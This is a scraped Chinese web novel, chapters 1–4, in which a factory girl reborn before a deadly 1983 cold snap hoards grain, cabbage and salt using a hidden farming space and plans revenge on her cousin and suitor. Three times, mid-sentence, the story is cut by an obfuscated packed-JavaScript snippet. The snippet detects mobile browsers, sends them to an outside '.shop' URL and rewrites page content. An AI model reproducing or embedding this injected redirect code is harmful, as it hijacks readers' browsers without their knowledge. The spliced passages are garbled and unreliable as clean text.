《重生黑土岭,囤货种田抗末日》 1. 第 1 章 星图偏移的第三年,蓝星历一九八三年的冬天,比记载里任何一个凛冬都要来得猝不及防。 这颗被命名为“北陆”的星球,复制了旧地球东亚大陆东北的地貌与人文——低矮的红砖瓦房挤在雪线边缘,自行车铃铛声混着煤烟味飘在巷口,供销社的玻璃柜里摆着水果糖和的确良布料,日子过得像台走慢半拍的老座钟。 直到第一股寒潮卷过兴安岭的林海,温度计的水银柱以肉眼可见的速度往下坠,最终死死钉在了-57℃的刻度上。 北陆83年11月15日,凌晨三点。 林雪梅是被冻醒的。 不,不是冻醒——是那种彻骨的寒冷,从骨髓深处钻出来,带着死亡的气息。她猛地睁开眼,胸口剧烈起伏,像一条被抛上岸的鱼。 眼前是一片黑暗,但又不是末世后那种吞噬一切的黑暗。她能听见均匀的呼吸声,从炕的另一头传来。是弟弟小山,他睡觉总爱打呼,声音不大,像小猫一样。 林雪梅僵直地躺着,不敢动。 她记得自己应该是死了。 死在那个零下五十度的废弃粮仓深坑里,身边是父母和小山已经冰冷的尸体。她最后一个画面,是表姐赵美娟那张笑得扭曲的脸,和周卫国转身离去的背影。 “你家的房子和粮票归我了。” “傻表妹,你真以为卫国看得上你这土包子?” 那些话像冰锥,一遍遍刺穿她的心。 可是现在—— 林雪梅颤抖着伸出手,在黑暗中摸索。她摸到了粗糙但干净的炕席,摸到了叠得整齐的棉被边缘,还有枕头下那本硬壳笔记本——那是她攒钱买的,用来抄歌词的。 不对。 这触感太真实了。 她猛地坐起身,动作太大,惊动了旁边的小山。 “姐?”少年睡意朦胧的声音传来,“你咋了?做噩梦了?” 林雪梅张了张嘴,没有回应。她的眼睛已经适应了黑暗,借着窗外雪地反射的微光,她看清了这间屋子——十平米左右,墙上糊着旧报纸,贴着几张年画。靠墙摆着一个老式衣柜,漆都掉了大半。窗台上放着一个搪瓷缸,上面印着红色的“先进生产者”字样。 这是她的家。 是她末世前,在黑土岭这个小城里的家。 “小山……”林雪梅的声音干涩得吓人,“现在……是哪年哪月?” 林小山翻了个身,迷迷糊糊地回答:“姐你睡糊涂了?今年不是陆历八三年么……十一月了,昨天刚下第一场雪……” 陆历八三年。 十一月。 林雪梅的手指掐进掌心,疼痛让她确认这不是梦。 她重生了。 重生到了末世开始前的四十二天。 “姐,你真没事?”小山清醒了些,撑起身子看她。 “没事。”林雪梅强迫自己平静下来,“就是……做了个很长的噩梦。睡吧,还早呢。” 小山哦了一声,很快又睡着了。 林雪梅却再也睡不着。她轻手轻脚爬下炕,走到窗边。窗玻璃上结了一层霜花,她抹开一小块,看向外面。 雪还在下,不大,绵绵密密的。院子里那棵老榆树的枝桠上已经积了一层白。隔壁张婶家的鸡窝隐约可见轮廓,再远处,是这片工人宿舍区一排排低矮的平房。 一切都那么宁静,那么……正常。 可林雪梅知道,这份宁静维持不了多久。 四十二天后,也就是元旦前后,第一场真正的灾难就会降临——极寒。气温会在七天内骤降到零下五十度,并持续整整三个月。电会断,水会冻,整个黑土岭会变成冰封地狱。而这才只是开始。 极寒之后是极雨,极雨之后是极热,最后……是比天灾更可怕的人祸。 林雪梅闭上眼,深吸了一口冷气。 她得冷静,得好好想想。 前世她死得不算早,经历了极寒和极热期。那些细节全部刻在她脑子里,足够她提前准备。 首先,她得确认一下…… 林雪梅走到墙边,借着微光找到了挂历。是那种常见的风景挂历,每个月一张彩图,下面是日期格子。她翻到十一月那一页——15号,星期二。有人在上面用铅笔划了个小圈,旁边写着“发工资”。 确实是今天。 她又往前翻,十二月,一月……她的手停在一月五号那一格。 那天,寒流预警第一次正式发布。而真正的降温,是从一月八号开始的。 所以还有时间。 林雪梅松了口气,这才感觉到全身都在发抖。她扶着墙,慢慢走到外屋。外屋是厨房兼客厅,中间砌着一个灶台,连着里屋的火炕。灶台旁边是水缸,墙上挂着筷笼、菜板,还有一个印着“劳动最光荣”的搪瓷盆。 一切都熟悉得让她想哭。 她走到水缸边,拿起飘子舀了半瓢水,想洗把脸清醒一下。冰凉的井水扑在脸上,刺得她一激灵。 就在这时,奇怪的事情发生了。 她眼前的景象突然扭曲,下一秒,她发现自己站在一片……黑土地上。 林雪梅吓得差点扔掉水瓢。 这是什么地方? 她环顾四周——发现是一片约半亩大小的土地,土质黝黑,在微光下泛着光泽。土地中央有一口古井,井台是青石砌的,看起来有些年头了。井旁边,是一间低矮的土坯房,门虚掩着。 天空……没有天空。头顶是一片柔和的灰白色光晕,像阴天下午的光线,但不刺眼。 林雪梅愣了几秒,忽然意识到——这是她的意识进来了,身体还在外面。因为她能感觉到自己正站在家里的水缸边,手里还拿着水瓢。 一个念头闪过,她“退出”了这片空间。 果然,她又回到了厨房,手里水瓢的水洒了一地。 空间? 林雪梅的心脏狂跳起来。她听说过重生者常有特殊能力,难道这就是她的金手指? 她再次集中精神,想着进去。眼前一晃,她又站在了黑土地中央。 这次她镇定了一些,开始探索。她先走到井边,探头往下看——井水清澈,深不见底。她犹豫了一下,用手捧起一点,尝了尝。 甘甜冰凉,喝下去后,疲惫的身体似乎轻松了些。 “这水……”林雪梅若有所思。 她又走向土坯房。推开那扇简陋的木门,里面空荡荡的,大约二十平米,墙角堆着一些杂物。 等等,杂物? 林雪梅走近一看,愣住了。 那是她昨晚吃剩的半个窝头,还有白天在厂里捡到的一个纽扣。她明明记得窝头放在碗柜里,纽扣在针线盒里。 难道空间会自动收取她接触过的东西? 她试着集中精神,想着“把窝头拿出来”。下一秒,半个窝头出现在她手中。又想着“放回去”,窝头消失了。 能存储物品,而且时间静止——窝头还是温的。 林雪梅的心跳更快了。这意味着什么?她可以囤积物资, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048552|194761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还不用担心腐败! 她走出土坯房,蹲下身抓起一把黑土。土质松软肥沃,捏在手里有黏性,是上好的黑土地。她想起前世听老人说过,黑土岭黑土地插根筷子都能活。 如果能种东西…… 林雪梅立刻退出空间,在厨房里翻找。母亲在窗台上晒了一些白菜籽,准备明年开春种。她抓了一小把,重新进入空间。 随便找了块地方,把种子撒下去,又从井里打水浇了浇。 然后她退出空间,回到里屋,躺回炕上。 需要验证时间流速。 她盯着墙上的挂钟——那种老式的圆形挂钟,钟摆有节奏地摇晃着。秒针走了一圈,两圈……大约十分钟后,她再次进入空间。 眼前的一幕让她惊呆了。 白菜籽已经发芽了!嫩绿的芽尖破土而出,虽然还很小,但这生长速度……至少是外界的五倍! 林雪梅捂住嘴,怕自己叫出声来。 有了这个空间,她活下去的筹码大大增加了。 但光有空间不够,她还需要物资,需要让家人相信即将到来的灾难,需要……处理掉那两个祸害。 周卫国。赵美娟。 想到这两个名字,林雪梅的眼神冷了下来。 前世她太傻,被周卫国那张斯文的脸和厂长儿子的身份迷惑,以为找到了一辈子的依靠。而赵美娟,她的表姐,从小一起长大,她什么好东西都分她一半,结果呢? 他们在末世第一个月就勾搭在一起,为了霸占她家那点存粮和相对完好的房子,设计害死了她全家。 这一世…… “梅子?你咋起这么早?” 母亲王秀芬的声音从门口传来。林雪梅连忙退出空间,看见母亲披着棉袄站在里屋门口,睡眼惺忪地看着她。 “妈。”林雪梅的声音有些哽咽。 王秀芬走过来,摸了摸她的额头:“不烧啊……是不是做噩梦了?妈听见你在厨房折腾。” “嗯,做了个不好的梦。”林雪梅顺势说,“梦见今年冬天特别冷,咱家没准备好,冻坏了。” 王秀芬笑了:“傻孩子,梦都是反的。再说了,咱黑土岭人还怕冷?火炕烧热点,棉袄穿厚点,啥冬天过不去。” 林雪梅没说话,只是抱了下母亲。 王秀芬身上有股淡淡的皂角味,混着烟火气,是记忆中的味道。前世母亲为了保护她,在粮仓坑底把自己最后的棉衣裹在她身上,自己活活冻死。 “妈,今年……咱们多备点东西吧。”林雪梅轻声说,“我听说西伯利亚寒流特别强。” “行,听你的。”王秀芬拍拍她的背,“快再睡会儿,天亮了还得上班呢。” “嗯——” 林雪梅回到炕上,却再也睡不着。她睁着眼睛,听着窗外渐渐大起来的风声,大脑飞速运转。 囤货计划要马上开始。但怎么囤?80年代是票证时代,买什么都要票——粮票、布票、油票、煤票……光有钱没用。而且大量购买会引起怀疑,尤其是在这个小城,谁家买多了点东西,半天就能传遍整个家属院。 还有周卫国和赵美娟。她现在不能马上翻脸,因为他们还有用——周卫国是厂长儿子,能接触到一些普通人接触不到的物资渠道。 赵美娟在仓库工作,偶尔能弄到一些“瑕疵品”。她要利用这一点,先榨干他们的价值,再…… 林雪梅的眼神在黑暗中闪烁,心里已经有了主意。 窗外的雪,这会下得更大了。 2. 第 2 章 天刚蒙蒙亮,林雪梅就起床了。 王秀芬已经在厨房忙活,灶膛里的火噼啪作响,大铁锅里煮着玉米茬子粥,旁边蒸屉里热着昨天剩的窝头。香气溢满了整个厨房。 “妈,我帮你。”林雪梅走过去,接过母亲手里的柴火。 “不用,你去喊你爸和小山起来。”王秀芬擦了擦手,从腌菜缸里捞出一根萝卜咸菜,切成细丝,淋了点香油,“今儿天冷,你多穿点。你那件红棉袄呢?” “在柜子里。”林雪梅应着,走进里屋。 父亲林建国已经醒了,正坐在炕边卷旱烟。他是个典型的黑土岭汉子,四十多岁,方脸,浓眉,因为常年在机械厂车间干活,手上全是老茧和洗不掉的油污痕迹。 “爸。”林雪梅叫了一声。 “嗯。”林建国应了声,点上烟抽了一口,“听你妈说你做噩梦了?” “梦见冬天特别冷。”林雪梅一边从柜子里拿衣服一边说,“爸,咱家火炕今年是不是该大修了?我总觉得炕道不太通,烧不热。” 林建国想了想:“是有点费柴火。等周末我找点黄泥,把炕洞重新糊一遍。” “还有窗户。”林雪梅继续说,“窗缝漏风,昨晚我听见呼呼响。要不咱们弄点纸条糊上?或者……做双层窗?” 林建国笑了:“双层窗?那得费多少木料和玻璃?咱家可没那么多票。” 父亲说得对,80年代物资紧缺,木材和玻璃都是计划供应,普通工人家庭想额外弄到,难。 但必须想办法。 她穿上那件红色碎花棉袄,其实是旧棉袄外面套了个新罩衫,这是时下最流行的穿法。又套上深蓝色劳动布裤子,脚上是母亲做的棉鞋。对着墙上那块巴掌大的镜子梳头,两条麻花辫垂在胸前。 镜子里是一张年轻的脸,皮肤因为常年户外劳动呈健康的小麦色,眼睛大而亮,鼻梁挺直,嘴唇有些薄。算不上顶漂亮,但清秀耐看。 前世赵美娟总说她土气,不如她会打扮。现在想来,赵美娟那种烫大波浪、涂口红、穿紧绷裤子的打扮,才是真正不合时宜。 “姐,你今天真早。”林小山揉着眼睛从炕上爬起来,只穿了秋衣秋裤就往下跳。 “快穿上衣服,别冻着!”林雪梅把棉袄扔给他。 早饭很简单:玉米茬子粥,窝头,咸菜丝。一家四口围着小方桌,呼噜呼噜喝粥的声音在清晨格外清晰。 “爸,厂里今年冬储菜啥时候发?”林雪梅问。 “得月底吧。”林建国掰了块窝头泡进粥里,“听说今年白菜好,每家能分二百斤。” 二百斤听起来多,但一个冬天四口人,还要腌酸菜,其实不太够。前世就是因为冬储菜不够,极寒来临时,家里很快断了新鲜蔬菜,弟弟小山得了坏血病,牙龈出血不止。 “妈,咱们自己再多买点吧?”林雪梅说,“我听说今年冬天可能特别长。” 王秀芬犹豫:“那得用多少盐腌啊……盐票可不多。” “少腌点酸菜,多存点新鲜白菜放地窖。”林雪梅早就想好了,“地窖里温度低,白菜能放一冬天呢。” 林建国点点头:“梅子说得对。回头我把地窖再挖深点,多垫点沙子。” 林小山插嘴:“爸,我帮你挖!” 一家人说着话,时间不知不觉过去。墙上的挂钟指向六点半,该上班了。 林雪梅在红星制鞋厂上班,离家不远,步行二十分钟。父亲在机械厂,方向相反。弟弟小山高中毕业半年,还没找到正式工作,平时打打零工。 “梅子,路上滑,小心点。”王秀芬嘱咐。 “知道了妈。” 林雪梅背上那个洗得发白的帆布挎包,推门出去。冷空气扑面而来,她深吸了一口,感受着鼻腔里的刺痛,这是活着的实感。 家属院里已经热闹起来。公用水龙头前排着队,女人们端着盆接水,嘴里聊着家长里短。几个孩子穿着厚厚的棉猴,在雪地里打闹,脸蛋冻得通红。 “雪梅,上班去啊?”隔壁张大妈端着一盆衣服出来,看见她就扯开嗓门,“哟,这红棉袄真精神!是要去见周厂长家那小子吧?” 林雪梅脚步一顿。 张大妈是家属院有名的“广播站”,谁家有点事,不出半天就能从她嘴里传遍全厂。偏偏她丈夫是车间主任,大家都不敢得罪她。 “张大妈早。”林雪梅挤出一个笑,“就是普通棉袄,穿好几年了。” “啧啧,还不好意思呢。”张大妈凑近些,压低声音,“我可听说,周厂长家那小子对你挺上心,还托人问你家情况呢。要是真成了,你可就是厂长儿媳妇了!” 要是前世,林雪梅听到这话会脸红心跳,现在只觉得恶心。 “没有的事,大妈别乱说。”她匆匆应了句,快步离开。 走出家属院大门时,身后传来张大妈和另一个女人的声音: “看,害羞了!” “人家姑娘脸皮薄……” 林雪梅咬紧嘴唇。 不能急。现在翻脸只会打草惊蛇。周卫国是厂长独子,在这个小城里算是有权有势。她现在只是一个普通女工,硬碰硬吃亏的只会是自己。 她要借力。 走到胡同口时,对面门开了,李嫂端着尿盆出来倒。看见林雪梅,她点点头:“上班啊。” “嗯,李嫂早。” 李嫂是前年才搬来的寡妇,丈夫工伤去世,厂里照顾,给了这间小房。她带着两个孩子,日子过得紧巴,但人很本分,从不嚼舌根。 林雪梅正要走,李嫂忽然叫住她:“雪梅。” “嗯?” 李嫂犹豫了一下,左右看看没人,才小声说:“你……留个心眼。我昨天看见赵美娟下班后,往周卫国办公室去了,待了半个多钟头才出来。” 林雪梅心头一震,脸上却装出惊讶的样子:“是吗?可能是工作上的事吧。” 李嫂摇摇头:“下班时间,能有啥工作?我就是提醒你一句,你那表姐……心思活络着呢。” “谢谢李嫂,我知道了。”林雪梅真心实意地说。 看着李嫂转身回屋的背影,林雪梅心里有了计较。李嫂是个明白人,而且欠她家人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048553|194761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情——去年李嫂小儿子发高烧,是父亲连夜骑车送去的医院。这样的人,末世来临时可以争取。 走到红星制鞋厂时,刚好七点五十。厂门口已经聚集了不少工人,都穿着深蓝色工装,三五成群地站着说话。空气里弥漫着一股胶皮和皮革混合的味道。 “雪梅!” 一个娇滴滴的声音传来。林雪梅不用回头就知道是谁。 赵美娟扭着腰走过来。她今天穿了件收腰的棉袄,明显改过,衬得身材曲线毕露。头发烫成大波浪,用发卡别在耳后,脸上擦了粉,嘴唇涂得红艳艳的。在这个朴素的环境里,格外扎眼。 “表妹,你今天气色真好。”赵美娟亲热地挽住林雪梅的胳膊,“是不是有什么喜事啊?” 林雪梅忍住甩开她的冲动,勉强笑道:“哪有什么喜事,就是睡得好。” “哟,肯定是卫国哥昨晚又去找你了吧?”赵美娟的声音不小,引得周围几个女工看过来,“要说卫国哥对你可真好,昨天还跟我念叨,说要给你弄张自行车票呢。” 这话说得巧妙,既显摆了自己和周卫国的亲近,又暗示林雪梅占了便宜。 前世林雪梅听到这话只会害羞,现在却听出了满满的茶味。 “表姐说笑了,周同志是厂长儿子,关心每个工人都是应该的。”林雪梅淡淡地说,“倒是表姐,昨天好像下班后还去周同志办公室了?工作这么忙?” 赵美娟脸色一僵,随即笑得更大声:“是啊,仓库有点账对不上,去找卫国哥核对一下。怎么,表妹吃醋了?” “工作上的事,有什么好吃醋的。”林雪梅抽出胳膊,“快打铃了,咱们进去吧。” 她转身往车间走,身后传来赵美娟和其他女工的嘀咕: “她今天怎么了?怪怪的。” “可能是来事儿了心情不好……” 林雪梅充耳不闻。她走进缝纫车间,找到自己的工位——靠窗第三台缝纫机。旁边是她师父刘桂枝,一个四十多岁的老工人,正在检查机器。 “师父早。” “早。”刘桂枝抬头看她一眼,“眼睛怎么有点肿?没睡好?” “做了个噩梦。”林雪梅坐下,拿出围裙系上。 “年轻人就是心思重。”刘桂枝摇摇头,压低声音,“对了,年底评先进,你可要加把劲。我听说赵美娟活动得挺厉害,找了好几个人说情。” 林雪梅手上的动作顿了顿。 评先进——这在前世是她噩梦的开始。为了那个“先进生产者”的荣誉,她没日没夜地加班,结果呢?周卫国一句“美娟姐快结婚了,这个先进对她更重要”,她就傻乎乎地让了出去。 而赵美娟靠着这个“先进”,顺利从仓库调到了轻松的质检岗位,还在末世初期分到了更多物资。 “师父,我知道了。”林雪梅轻声说,“我会好好表现的。” 上午的工作很枯燥:缝鞋面。流水线作业,每人负责一道工序。林雪梅的手飞快地运动着,针脚细密均匀。这是她干了三年的活,闭着眼睛都能做好。 但她心里却在盘算别的。 3. 第 3 章 空间里的白菜籽现在应该长得很好了。她得找机会进去看看,如果真能快速生长,那粮食问题就解决了一半。 还有水。空间里的井水似乎有特殊效果,昨晚喝了一点,今天精神特别好。得多弄点出来给家里人喝,尤其是父亲,他腰不好,常年酸痛。 中午休息铃响时,林雪梅已经想好了初步计划。 先去食堂打饭,然后借口上厕所,进空间看看。 食堂里人声鼎沸。工人们端着铝饭盒排队,窗口里是大锅菜——今天吃白菜炖豆腐,还有玉米面窝头。油水不多,但管饱。 林雪梅打了饭,正要找地方坐下,就听见有人喊她:“雪梅!这边!” 是周卫国。 他坐在靠窗的位置,面前摆着两个饭盒,明显是在等她。周围几个男工起哄:“周主任,又给对象开小灶啊?” 周卫国穿着白衬衫,外面套了件深灰色中山装,头发梳得一丝不苟,看起来确实一表人才。他笑着摆摆手:“去去去,别瞎说。” 林雪梅握紧了饭盒。 她想起前世,也是这样的场景。周卫国总是当众对她示好,让她成为全厂女工羡慕的对象。她那时多傻啊,以为这是真爱。 现在她明白了,他是在炫耀,在宣示主权。而她,不过是他展示魅力的道具。 “雪梅,过来坐。”周卫国招手。 林雪梅走过去,在他对面坐下。 “我给你打了份肉菜。”周卫国推过来一个饭盒,里面是红烧肉炖土豆,油汪汪的,“你看你瘦的,多吃点。” 如果是前世,林雪梅会感动得眼眶发红,然后把肉分一半给他,说自己不爱吃油腻的。 现在她只是淡淡地说:“谢谢。不过我最近肠胃不好,吃不了太油的。” 周卫国一愣:“肠胃不好?要不要去医院看看?” “不用,老毛病了。”林雪梅扒拉着自己饭盒里的白菜豆腐,“周同志,你找我有事?” 这声“周同志”叫得周卫国眉头微皱。以前林雪梅都叫他“卫国哥”。 “没事就不能找你吃饭了?”他笑着,眼神却打量着林雪梅,“感觉你今天有点不一样。” “可能是没睡好。”林雪梅低头吃饭,“对了,听说仓库最近有一批瑕疵棉鞋要处理?” 周卫国眼神一闪:“你怎么知道?” “听人说的。”林雪梅抬起头,直视他的眼睛,“我爸腰不好,冬天总冻脚。我想买两双,能不能……帮忙留一下?” 这是试探。如果周卫国心里还有她,或者说还想维持表面关系,就会答应。 果然,周卫国笑了:“这点小事,包在我身上。不过瑕疵品处理要走流程,得等几天。” “不急,谢谢了。”林雪梅说完,加快速度吃饭,“我吃完了,先回车间了。” “这么快?”周卫国还想说什么,林雪梅已经站起来走了。 他盯着她的背影,眉头皱得更紧。 不对劲。 平时的林雪梅见了他总是脸红害羞,说话细声细气。今天却这么冷淡……难道是听说了什么? 周卫国眼神沉了下来。 林雪梅离开食堂后,没有直接回车间,而是拐进了厂区角落的厕所。这是老式旱厕,平时没什么人来。 她确认四下无人后,集中精神进入了空间。 眼前的景象让她惊喜。 白菜已经长到巴掌大了!叶片舒展开,在微光下绿得发亮。这才一夜加一上午,按照空间内外时间流速差,相当于长了三四天。 这生长速度,太快了。 林雪梅蹲下身,仔细查看。黑土地湿润松软,没有任何杂草。她拔了一棵小白菜,根须上还带着泥。叶片脆嫩,凑近闻有股清甜味。 如果能种粮食就好了。但粮食种子不好弄,尤其是这个年代。 她想了想,退出空间,回到车间。下午工作继续,但她心里已经有了新主意。 下班铃响时,林雪梅没有马上走。她等工友们都离开了,才悄悄来到原料仓库后面,那里有个小棚子,堆着一些废弃的边角料。 前世她记得,赵美娟经常从这里顺东西,碎布头、线轴、甚至半成品的鞋垫。那时候她觉得表姐是占小便宜,没太在意。现在想来,赵美娟拿这些东西,除了自用,还拿去黑市换钱换票。 林雪梅左右看看,确定没人,迅速捡了几块比较大的皮革边角料,这些可以补鞋,也可以做鞋垫,在末世都是好东西。 她把东西塞进挎包,刚要走,就听见脚步声。 “谁在那儿?” 是赵美娟的声音。 林雪梅心里一紧,但很快镇定下来。她转过身,装作整理衣服:“表姐?你怎么还没走?” 赵美娟从阴影里走出来,手里也拎着个布包,鼓鼓囊囊的。看见林雪梅,她眼神闪过一丝慌乱,但很快换上笑脸:“我……我丢了个发卡,回来找找。表妹你呢?” “我也找东西。”林雪梅面不改色,“钢笔帽掉了。” 两人对视了几秒,都心知肚明对方在干什么,但谁也没戳破。 “那……一起走吧?”赵美娟说。 “好。” 走出厂门时,天已经快黑了。路灯稀稀拉拉地亮起来,昏黄的光照着积雪的路面。 “表妹,”赵美娟忽然开口,“你跟卫国哥……是不是吵架了?” 林雪梅看她一眼:“没有啊,怎么了?” “就是觉得你俩今天怪怪的。”赵美娟挽住她的胳膊,亲热地说,“卫国哥多好啊,厂长儿子,长得又精神,多少姑娘想嫁呢。你可要抓紧了,别让有些人钻了空子。” 这话说得,既像关心,又像挑拨。 林雪梅心里冷笑,嘴上却说:“表姐说得对。不过感情的事强求不来,随缘吧。” 赵美娟似乎还想说什么,但林雪梅已经看见家门口的身影了。 是弟弟小山,站在院门口张望。看见她,他跑过来:“姐!你咋才回来?妈等你吃饭呢!” “今天加班了。”林雪梅摸摸弟弟的头,“走吧,回家。” 她没再理会赵美娟,牵着小山的手进了院子。 身后,赵美娟站在原地,盯着林雪梅的背影,眼神阴恻恻的。 晚饭是白菜炖粉条,贴饼子。菜里难得地放了几片五花肉,油汪汪的,香气扑鼻。 “今儿啥日子啊妈?”林小山眼睛都亮了。 王秀芬笑着盛饭:“你姐今儿发工资,改善改善。” 林雪梅这才想起来,今天是15号,发工资的日子。她从挎包里拿出工资袋,三十二块五毛,还有各种票证:粮票二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048554|194761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十斤,布票三尺,油票半斤,工业券两张。 “妈,给你。”她把钱和票都递过去。 王秀芬接过来,数出十块钱和五斤粮票还给她:“你自己留着花,买点雪花膏啥的。姑娘家得打扮打扮。” 要是前世,林雪梅会推辞,说自己不用。但现在她想了想,接了过来:“谢谢妈。” 她确实需要钱,需要很多钱。囤货需要,打通关系需要,末世里,钱虽然会贬值,但现在还是硬通货。 “对了爸,”林雪梅夹了块粉条,“地窖什么时候挖?” 林建国喝了口玉米糊糊:“周末吧。厂里活不忙,我请半天假。就是挖出来的土没地方放。” “垫在院子里呗,开春种菜。”林小山抢着说,“姐,我也帮忙!” “行,你力气大。”林雪梅笑了。 她又想起空间里的白菜,试探着问:“妈,咱家白菜买了吗?” “还没呢,等厂里发。”王秀芬说,“不过听张大妈说,今年白菜便宜,乡下人拉进城卖的,一分五一斤。要不咱们先买点?” 一分五一斤,二百斤才三块钱。确实便宜。 “买。”林雪梅立刻说,“多买点。妈,我明天请假,去市场上看看。” “请假?”王秀芬皱眉,“请假扣工资呢。” “就请半天,上午去,下午还上班。”林雪梅早就想好了理由,“咱们家人多,厂里发的那点不够吃。而且……我听说今年冬天特别冷,菜价可能会涨。” 林建国点头:“梅子说得对。去年这时候白菜就涨到两分了。买,多买点。” 王秀芬这才松口:“行吧。那明天早上你去,早点回来。” 吃完饭,林雪梅帮母亲收拾碗筷。小山跑出去找邻居孩子玩,林建国坐在炕沿上抽烟,听着收音机里的评书。 “妈,咱家还有多少存款?”林雪梅小声问。 王秀芬擦碗的手顿了顿:“问这干啥?” “我想……想买点东西。”林雪梅斟酌着词句,“不是乱花。就是觉得,该备的东西得备上。万一……万一有什么事呢?” 王秀芬看了女儿一眼,放下抹布,走进里屋。过了一会儿,她拿着一个小木盒出来,打开,里面是一沓钱和票证。 “这是咱家全部家底。”王秀芬压低声音,“三百二十八块七毛五。还有你爸攒的工业券,十二张。布票还有八尺,粮票……粮票不多了,就剩十五斤。” 三百多块钱,在1983年不算少,但也不多。一台缝纫机就要一百多,一辆自行车一百五到两百。普通工人家庭攒这些钱,要省吃俭用好几年。 “妈,”林雪梅看着那些钱,“我想用一些。” “用多少?” “先……先一百吧。”林雪梅说,“买粮食,买盐,买煤。” 王秀芬沉默了很久。昏黄的灯光下,她的脸显得格外苍老。过了好一会儿,她才说:“梅子,你跟妈说实话,是不是出什么事了?” 林雪梅心里一酸。母亲虽然没文化,但直觉敏锐。 “妈,我就是……做了一个很真实的梦。”她握住母亲的手,那双手粗糙,关节粗大,是常年劳作的手,“梦里今年冬天特别难熬,好多人都没挺过去。我害怕。” 王秀芬反握住女儿的手,她的手心微微发烫。 4. 第 4 章 “梦都是反的。”她重复着早上的话,但语气没那么坚定了,“不过……备点也好。你爸常说,手里有粮,心里不慌。这钱,你拿一百去。但是记住了,别让人知道咱家有钱,也别一次买太多,招人眼。” “我知道,谢谢妈。” 林雪梅接过钱,小心地揣进怀里。沉甸甸的,是责任,也是希望。 晚上九点,全家人都睡了。 林雪梅躺在炕上,睁着眼睛。她等弟弟的呼吸变得均匀,才轻手轻脚起身,再次进入空间。 白菜又长大了。最大的那几棵已经有碗口大了,叶片肥厚,看着就喜人。她拔了两棵,退出空间,放进厨房的菜篮里,明天可以加菜。 她又从井里打了一瓢水,带出来,倒进家里的水缸。井水混进普通井水里,看不出区别,但喝了对身体好。 做完这些,她才重新躺下。 脑海里却还在盘算。 一百块钱能买什么? 粮价:玉米面一毛二一斤,白面一毛八,大米两毛二。一百斤玉米面十二块,一百斤白面十八块。但不能全买细粮,粗粮耐储存,得搭配着买。 盐:一毛三一斤。得买五十斤,六块五。 煤:这是大头。煤票不好弄,黑市上一吨煤要四十块钱还不好买。得想办法。 还有药品。感冒药、消炎药、纱布、酒精……这些都要医生开处方,得托关系。 林雪梅越想越觉得时间紧迫。四十二天,要做的事情太多了。 迷迷糊糊睡到半夜,她忽然被一阵争吵声惊醒。 是隔壁张大妈家。 “我让你少喝点!又出去鬼混!”张大妈的嗓门在夜里格外刺耳。 “你管得着吗!老子挣钱老子花!”她男人张主任的声音。 接着是摔东西的声音,孩子的哭声。 林雪梅叹了口气。张大妈家三天两头吵架,全家属院都习惯了。前世极寒来临时,张大妈家因为煤准备不足,第一个晚上就冻死了小儿子。张大妈疯了,第二天跳了井。 这也是她要小心的,末世里,悲剧往往从最细微的疏忽开始。 第二天一早,林雪梅请了假,挎着篮子去了市场。 市场在城东,一片空地上,用木板搭着简易棚子。卖菜的、卖肉的、卖粮食的,还有卖各种杂货的,挤挤挨挨,人声鼎沸。 林雪梅先去看白菜。果然,一毛五一斤,成色不错。她挑了二百斤,让卖菜的老农帮她捆好,说好下午让她弟弟来拉。 又去买粮。玉米面买了一百斤,高粱米五十斤,黄豆二十斤。这些都是耐储存的粗粮。白面只买了二十斤,大米十斤,细粮少,不扎眼。 盐买了三十斤,一次不能买太多,分几次买。 买完这些,一百块钱已经花了一半。她看着手里剩下的五十块,想了想,又去买了十斤红糖。糖是硬通货,末世里能换很多东西。 最后,她在一个角落里找到了卖种子的摊位。 “大爷,都有什么种子?”她蹲下问。 卖种子的是个老头,戴着狗皮帽子,脸冻得通红:“白菜、萝卜、土豆、豆角、黄瓜……姑娘你要啥?” “都要点。”林雪梅说,“一样来一两。” 老头麻利地给她包好,用报纸包着,麻绳捆着:“一块二。” 林雪梅付了钱,把种子小心地放进篮子最底下。 正要走,忽然听见有人叫她:“林雪梅?” 她回头,看见一个戴眼镜的年轻男人,穿着蓝灰色中山装,手里拎着个网兜,里面装着几本书。 是刘技术员,刘志远。机械厂的技术员,大学生,去年分配来的。人很斯文,不太爱说话。 “刘技术员。”林雪梅点点头。 “来买菜?”刘志远推了推眼镜,看见她脚边那一大堆东西,有些惊讶,“买这么多?” “家里人多。”林雪梅简单解释,“刘技术员也来买菜?” “嗯,买点菜。”刘志远顿了顿,忽然说,“你……听说气象预报了吗?” 林雪梅心里一动:“什么预报?” “说是西伯利亚有强冷空气南下,今年冬天可能特别冷。”刘志远压低声音,“我是学工科的,但也看过一些气象资料。这种规模的寒流,几十年不遇。” 